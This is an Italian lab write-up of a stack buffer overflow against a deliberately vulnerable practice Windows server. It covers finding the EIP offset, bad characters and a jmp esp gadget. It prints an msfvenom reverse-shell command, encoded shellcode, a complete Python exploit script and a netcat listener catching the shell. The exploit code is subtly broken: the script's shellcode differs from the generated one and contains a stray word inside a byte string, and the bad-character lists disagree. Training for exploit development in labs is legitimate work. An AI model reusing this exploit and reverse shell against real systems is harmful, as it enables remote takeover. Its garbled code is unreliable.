

Traccia Extra 2: Cracking di un buffer overflow

Avvio della VM

Setup VM:

Rete Interna Ip kali: 192.168.1.15

Ip windows 10 pro: 192.168.1.17

porta 1337

Introduzione:

L'obiettivo di questa analisi è stato identificare e sfruttare una vulnerabilità di buffer overflow. L'analisi ha seguito un processo metodico che include la determinazione della dimensione del buffer, la sovrascrittura del registro EIP per il controllo del flusso di esecuzione e l'esecuzione di codice arbitrario per ottenere una shell inversa sulla macchina target.

Facendo le prime prove troviamo che l'overflow si innesca correttamente.

```
(kali@kali)-[~]
$ nc 192.168.1.17 1337
Welcome to OSCP Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
OVERFLOW1 [value]
OVERFLOW2 [value]
OVERFLOW3 [value]
OVERFLOW4 [value]
OVERFLOW5 [value]
OVERFLOW6 [value]
OVERFLOW7 [value]
OVERFLOW8 [value]
OVERFLOW9 [value]
OVERFLOW10 [value]
EXIT
OVERFLOW1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
OVERFLOW1 COMPLETE
```

Scopriamo che inserendo abbastanza 'A' mandiamo in crash il programma e troviamo alcuni dettagli, come il puntatore dello stack (ESP) e il valore del puntatore all'istruzione (EIP)

Calcoliamo gli offset di EIP ed ESP all'interno del nostro payload usando pattern_create e pattern_offset.

```
Registers (FPU)
EAX 00000000 ASCII "OVERFLOW1 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8"
ECX 00000000
EDX 00000000
EBX 376E4336
ESP 00000000 ASCII "0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2"
EBP 43386E43
ESI 00401973 osep.00401973
EDI 00401973 osep.00401973
EIP 6F43396E
C 0 ES 002B 32bit 0(FFFFFFFF)
P 1 CS 002B 32bit 0(FFFFFFFF)
A 0 SS 002B 32bit 0(FFFFFFFF)
Z 1 DS 002B 32bit 0(FFFFFFFF)
S 0 FS 0053 32bit 7F8F000(FFF)
T 0 GS 002B 32bit 0(FFFFFFFF)
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FDW 027F Prec NEAR,S3 Mask 1 1 1 1 1 1
```

Osserviamo che ESP inizia con “0Co1” e il valore EIP è 0x6f43396e, convertendolo (little-endian) otteniamo “n9Co” a questo punto utilizziamo il pattern per ottenere gli offset di EIP ed ESP.

```
kali@kali:~$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.  
rb -q 0Co1  
[*] Exact match at offset 1982  
kali@kali:~$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.  
rb -q n9Co  
[*] Exact match at offset 1978
```

Otteniamo l'offset 1978.

Python

Come Proof of Concept creiamo uno script in python che si collegherà al server vulnerabile e invierà un payload specifico. Ricontriamo che ci sono dei badchar.

!mona compare -f C:\mona\oscp\bytearray.bin -a

Address	Status	BadChars	Type	Location
0x00e0fa28	Corruption after 44 byte	00 07 2e 2f a0 a1	normal	Stack

Dopo più iterazioni, sono stati rimossi tutti i caratteri problematici fino a ottenere un output "Unmodified"

Address	Status	BadChars	Type
0x01a8fa50	Unmodified		normal

Badchars

Domanda: Cosa sono i 'badchars'? Dove abitano? Di cosa si nutrono?

R: I **badchars**, o *bad characters*, sono byte che **non devono comparire** in un payload (come shellcode o exploit) perché **interferiscono con il corretto funzionamento** dell'exploit stesso. Non sono personaggi cattivi di un cartone animato, anche se il nome lo fa sembrare

R: Cosa sono i badchars?

I **badchars** sono **caratteri proibiti** in un exploit buffer. Se usati, possono:

- **truncare** il payload
- **rompere** la shellcode
- **interrompere** l'esecuzione del codice

R: Dove abitano i badchars?

I badchars **non vivono in una cartella segreta**, ma risiedono nel cuore degli exploit, in fase di sviluppo, durante:

- Buffer overflow
- Format string vulnerabilities
- Shellcode injection

In pratica, li scopri **testando manualmente** quali byte si “rompono” nel mezzo del payload.

R: Di cosa si nutrono?

Di niente, ma **si nutrono del tuo tempo** se non li identifichi per tempo.

Per eliminarli bisogna:

1. Generare un set di **tutti i byte da \x01 a \xff**
2. Osservarne l'effetto in memoria (es. con un debugger)
3. Escludere quelli che **non appaiono correttamente**

Generare uno shellcode per ottenere una RCE

Il payload è stato generato con msfvenom, utilizzando una shell inversa su kali linux:

```
kali@kali: ~  
File Actions Edit View Help  
(kali@kali)-[~]  
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.15 LPORT=1337 EXITFUNC=thread -b '\x00\x07\x2e\x0a' -f python  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload  
[-] No arch selected, selecting arch: x86 from the payload  
Found 11 compatible encoders  
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai.py  
x86/shikata_ga_nai succeeded with size 351 (iteration=0)  
x86/shikata_ga_nai chosen with final size 351  
Payload size: 351 bytes  
Final size of python file: 1745 bytes  
buf = b""  
buf += b"\xbb\xf0\xc7\x1e\xfa\xdb\xdf\xd9\x74\x24\xf4\x5e"  
buf += b"\x29\xc9\xb1\x52\x31\x5e\x12\x83\xc6\x04\x03\xae"  
buf += b"\xc9\xfc\x0f\xb2\x3e\x82\xf0\x4a\xbf\xe3\x79\xaf"  
buf += b"\x8e\x23\x1d\xa4\xa1\x93\x55\xe8\x4d\x5f\x3b\x18"  
buf += b"\xc5\x2d\x94\x2f\x6e\x9b\xc2\x1e\x6f\xb0\x37\x01"  
buf += b"\xf3\xcb\x6b\xe1\xca\x03\x7e\xe0\x0b\x79\x73\xb0"  
buf += b"\xc4\xf5\x26\x24\x60\x43\xfb\xcf\x3a\x45\x7b\x2c"  
buf += b"\x8a\x64\xaa\xe3\x80\x3e\x6c\x02\x44\x4b\x25\x1c"  
buf += b"\x89\x76\xff\x97\x0c\xfe\x71\xb0\xed\xad\xbc"  
buf += b"\x7c\x1c\xaf\xf9\xbb\xff\xda\xf3\xbf\x82\xdc\xc0"  
buf += b"\xc2\x58\x68\xd2\x65\x2a\xca\x3e\x97\xff\x8d\xb5"  
buf += b"\x9b\xb4\xda\x91\xbf\x4b\x0e\xaa\xc4\xc0\xb1\x7c"  
buf += b"\x4d\x92\x95\x58\x15\x40\xb7\xf9\xf3\x27\xc8\x19"  
buf += b"\x5c\x97\x6c\x52\x71\xcc\x1c\x39\x1e\x21\x2d\xc1"  
buf += b"\xde\x2d\x26\xb2\xec\xf2\x9c\x5c\x5d\x7a\x3b\x9b"  
buf += b"\xa2\x51\xfb\x33\x5d\x5a\xfc\x1a\x9a\x0e\xac\x34"  
buf += b"\x0b\x2f\x27\xc4\xb4\xfa\xe8\x94\x1a\x55\x49\x44"  
buf += b"\xdb\x05\x21\xe8\xd4\x7a\x51\xb1\x3e\x13\xf8\x48"  
buf += b"\xa9\xdc\x55\x53\x26\xb5\xa7\x53\x3d\x7c\x21\xb5"  
buf += b"\x57\x6e\x67\x6e\xc0\x17\x22\xe4\x71\xd7\xf8\x81"  
buf += b"\xb2\x53\x0f\x76\x7c\x94\x7a\x64\xe9\x54\x31\xd6"  
buf += b"\xbc\x6b\xef\x7e\x22\xf9\x74\x7e\x2d\xe2\x22\x29"  
buf += b"\x7a\xd4\x3a\xbf\x96\x4f\x95\xdd\x6a\x09\xde\x65"  
buf += b"\xb1\xea\xe1\x64\x34\x56\xc6\x76\x80\x57\x42\x22"  
buf += b"\x5c\x0e\x1c\x9c\x1a\xf8\xee\x76\xf5\x57\xb9\x1e"  
buf += b"\x80\x9b\x7a\x58\x8d\xf1\x0c\x84\x3c\xac\x48\xbb"  
buf += b"\xf1\x38\x5d\xc4\xef\xd8\xa2\x1f\xb4\xf9\x40\xb5"  
buf += b"\xc1\x91\xdc\x5c\x68\xfc\xde\x8b\xaf\xf9\x5c\x39"  
buf += b"\x50\xfe\x7d\x48\x55\xba\x39\xa1\x27\xd3\xaf\xc5"  
buf += b"\x94\xd4\xe5"
```

Innescare lo shellcode

Utilizzando !mona jmp -r esp -cpb "\x00\x07\x2e\xa0"

ci trova alcuni indirizzi eseguibili contenenti l'istruzione jmp esp senza ASLR attivo e senza badchar, viene scelto 0x625011af per l'exploit.

Si inserisce il resto del shellcode generato con msfvenom in precedenza e ci mettiamo in ascolto sulla macchina kali alla porta 1337

```
0BADF000 ----- Mona command started on 2025-06-17 11:26:42 (v2.0, rev 638) -----
0BADF000 [+] Processing arguments and criteria
0BADF000   - Pointer access level : X
0BADF000   - Bad char filter will be applied to pointers : "\x00\x07\x2e\xa0"
0BADF000 [+] Generating module info table, hang on...
0BADF000   - Processing modules
0BADF000   - Done. Let's rock 'n roll.
0BADF000 [+] Querying 2 modules
0BADF000   - Querying module essfunc.dll
0BADF000   - Querying module oscp.exe
0BADF000   - Search complete, processing results
0BADF000 [+] Preparing output file 'jmp.txt'
0BADF000   - (Re)setting logfile c:\mona\oscp\jmp.txt
0BADF000 [+] Writing results to c:\mona\oscp\jmp.txt
0BADF000   - Number of pointers of type 'jmp esp' : 9
0BADF000 [+] Results :
625011AF 0x625011af : jmp esp : (PAGE_EXECUTE_READ) [essfunc.dll] ASLR: False, Rebase: Fa
625011B8 0x625011bb : jmp esp : (PAGE_EXECUTE_READ) [essfunc.dll] ASLR: False, Rebase: Fa
625011C7 0x625011c7 : jmp esp : (PAGE_EXECUTE_READ) [essfunc.dll] ASLR: False, Rebase: Fa
625011D3 0x625011d3 : jmp esp : (PAGE_EXECUTE_READ) [essfunc.dll] ASLR: False, Rebase: Fa
625011DF 0x625011df : jmp esp : (PAGE_EXECUTE_READ) [essfunc.dll] ASLR: False, Rebase: Fa
625011EB 0x625011eb : jmp esp : (PAGE_EXECUTE_READ) [essfunc.dll] ASLR: False, Rebase: Fa
625011F7 0x625011f7 : jmp esp : (PAGE_EXECUTE_READ) [essfunc.dll] ASLR: False, Rebase: Fa
62501203 0x62501203 : jmp esp : ascii (PAGE_EXECUTE_READ) [essfunc.dll] ASLR: False, Rebas
62501205 0x62501205 : jmp esp : ascii (PAGE_EXECUTE_READ) [essfunc.dll] ASLR: False, Rebas
0BADF000   Found a total of 9 pointers
0BADF000 [+] This mona.py action took 0:00:08.719000
```

Pwning

Script creato + payload generato da msfvenom:

```
home > kali > Desktop > PoC3.py > ...
1  import socket
2  import struct
3  ip = "192.168.1.17"
4  # Sostituire con l'IP target
5  port = 1337
6  timeout = 10
7
8  padding = b"A" * 1978
9  eip = struct.pack('<I', 0x625011af)
10 # Istruzioni NOP (No Operation - 0x90) per dare 'spazio' allo shellcode
11 nops = b"\x90" * 32
12 buf = b""
13 buf += b"\xba\x4c\x7e\xec\xee\xdb\x4d\x97\x24\xf4\x5e"
14 buf += b"\x33\xc9\xb1\x52\x83\xee\xfc\x31\x56\x0e\x03\x1a"
15 buf += b"\x70\x0e\x1b\x5e\x64\x4c\xe4\x9e\x75\x31\x6c\x7b"
16 buf += b"\x44\x71\x0a\x08\xf7\x41\x58\x5c\xf4\x2a\x0c\x74"
17 buf += b"\x8f\x5f\x99\x7b\x38\xd5\xff\xb2\xb9\x46\xc3\xd5"
18 buf += b"\x39\x95\x10\x35\x03\x56\x65\x34\x44\x8b\x84\x64"
19 buf += b"\x1d\xc7\x3b\x98\x2a\x9d\x87\x13\x60\x33\x80\xc0"
20 buf += b"\x31\x32\xa1\x57\x49\x6d\x61\x56\x9e\x05\x28\x40"
21 buf += b"\xc3\x20\xe2\xfb\x37\xde\xf5\x2d\x06\x1f\x59\x10"
22 buf += b"\xa6\xd2\xa3\x55\x01\x0d\xd6\xaf\x71\xb0\xe1\x74"
23 buf += b"\x0b\x6e\x67\x6e\xab\xe5\xdf\x4a\x4d\x29\xb9\x19"
24 buf += b"\x41\x86\xcd\x45\x46\x19\x01\xfe\x72\x92\xa4\xd0"
25 buf += b"\xf2\xe0\x82\xf4\x5f\xb2\xab\xad\x05\x15\xd3\xad"
26 buf += b"\xe5\xca\x71\xa6\x08\x1e\x08\xe5\x44\xd3\x21\x15"
27 buf += b"\x95\x7b\x31\x66\xa7\x24\xe9\xe0\x8b\xad\x37\xf7"
28 buf += b"\xec\x87\x80\x67\x13\x28\xf1\xae\xd0\x7c\xa1\xd8"
29 buf += b"\xf1\xfc\x2a\x18\xfd\x28\xfc\x48\x51\x83\xbd\x38"
30 buf += b"\x11\x73\x56\x52\x9e\xac\x46\x5d\x74\xc5\xed\xa4"
31 buf += b"\x1f\x2a\x59\xa7\xd0\xc2\x98\xa7\xeb\x2b\x14\x41"
32 buf += b"\x99\x5b\x70\xda\x36\xc5\xd9\x90\xa7\x0a\xf4 added"
33 buf += b"\xe8\x81\xfb\x22\xa6\x61\x71\x30\x5f\x82\xcc\xa6"
34 buf += b"\xf6\x9d\xfa\x02\x94\x0c\x61\xd2\xd3\x2c\x3e\x85"
35 buf += b"\xb4\x83\x37\x43\x29\xbd\xe1\x71\xb0\x5b\xc9\x31"
36 buf += b"\x6f\x98\xd4\xb8\xe2\xa4\xf2\xaa\x3a\x24\xbf\x9e"
37 buf += b"\x92\x73\x69\x48\x55\x2a\xdb\x22\x0f\x81\xb5\xa2"
38 buf += b"\xd6\xe9\x05\xb4\xd6\x27\xf0\x58\x66\x9e\x45\x67"
39 buf += b"\x47\x76\x42\x10\xb5\xe6\xad\xcb\x7d\x06\x4c\xd9"
40 buf += b"\x8b\xaf\xc9\x88\x31\xb2\xe9\x67\x75\xcb\x69\x8d"
41 buf += b"\x06\x28\x71\xe4\x03\x74\x35\x15\x7e\xe5\xd0\x19"
42 buf += b"\x2d\x06\xf1"
43
44
45 # Costruzione del payload finale
46 payload = padding + eip + nops + buf
47 # Connessione e invio
48 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
49 s.settimeout(timeout)
50 con = s.connect((ip, port))
51 s.recv(1024)
52 s.send(b"OVERFLOW1 " + payload)
53 s.recv(1024) # Potrebbe ricevere qualcosa o andare in timeout
54 s.close()
55
56 print("Payload Inviato!")
```

Completato lo script ci mettiamo in ascolto sul terminale di kali con `sudo nc -nlvp 1337` per ricevere la connessione, eseguiamo lo script Python dell'exploit su un nuovo terminal o da Visual studio direttamente.

```
(kali㉿kali)-[~] -- 1 IP address (1 host up) scanned in 13.29 seconds
$ sudo nc -nlvp 1337
listening on [any] 1337 ...
connect to [192.168.1.15] from (UNKNOWN) [192.168.1.17] 50070
Microsoft Windows [Versione 10.0.10240]
(c) 2015 Microsoft Corporation. Tutti i diritti sono riservati.

C:\Users\user\Desktop\oscp>
```

Otteniamo una reverse shell con successo.

Conclusione

Spero che questo chiarisca come affrontare questo tipo di vulnerabilità legata alla corruzione della memoria. L'aspetto fondamentale è imparare la metodologia e fare molta pratica.

Questo genere di sfide può essere risolto seguendo questi passaggi:

- **Provocare un crash** per confermare la vulnerabilità di Buffer Overflow BoF.
- **Trovare gli offset** per sovrascrivere EIP e determinare dove punta ESP.
- **Identificare i 'badchar'** (caratteri che corrompono il payload).
- **Generare lo shellcode** (payload) evitando i badchar.
- **Trovare un gadget adatto** (es. jmp esp) nel binario o nelle librerie senza ASLR e senza badchar.
- **Costruire l'exploit finale**: padding + indirizzo gadget (per EIP + NOPs + shellcode (a partire dall'indirizzo puntato da ESP).
- **Ottenere la shell**

Oltre a seguire questi passaggi, bisogna fare attenzione a non commettere errori comuni, come dimenticare di inserire i NOP prima dello shellcode, identificare erroneamente i badchar, dimenticare di escludere i badchar durante la generazione dello shellcode con msfvenom, gestire correttamente l'endianness per l'indirizzo EIP, o usare un payload errato per il sistema operativo target.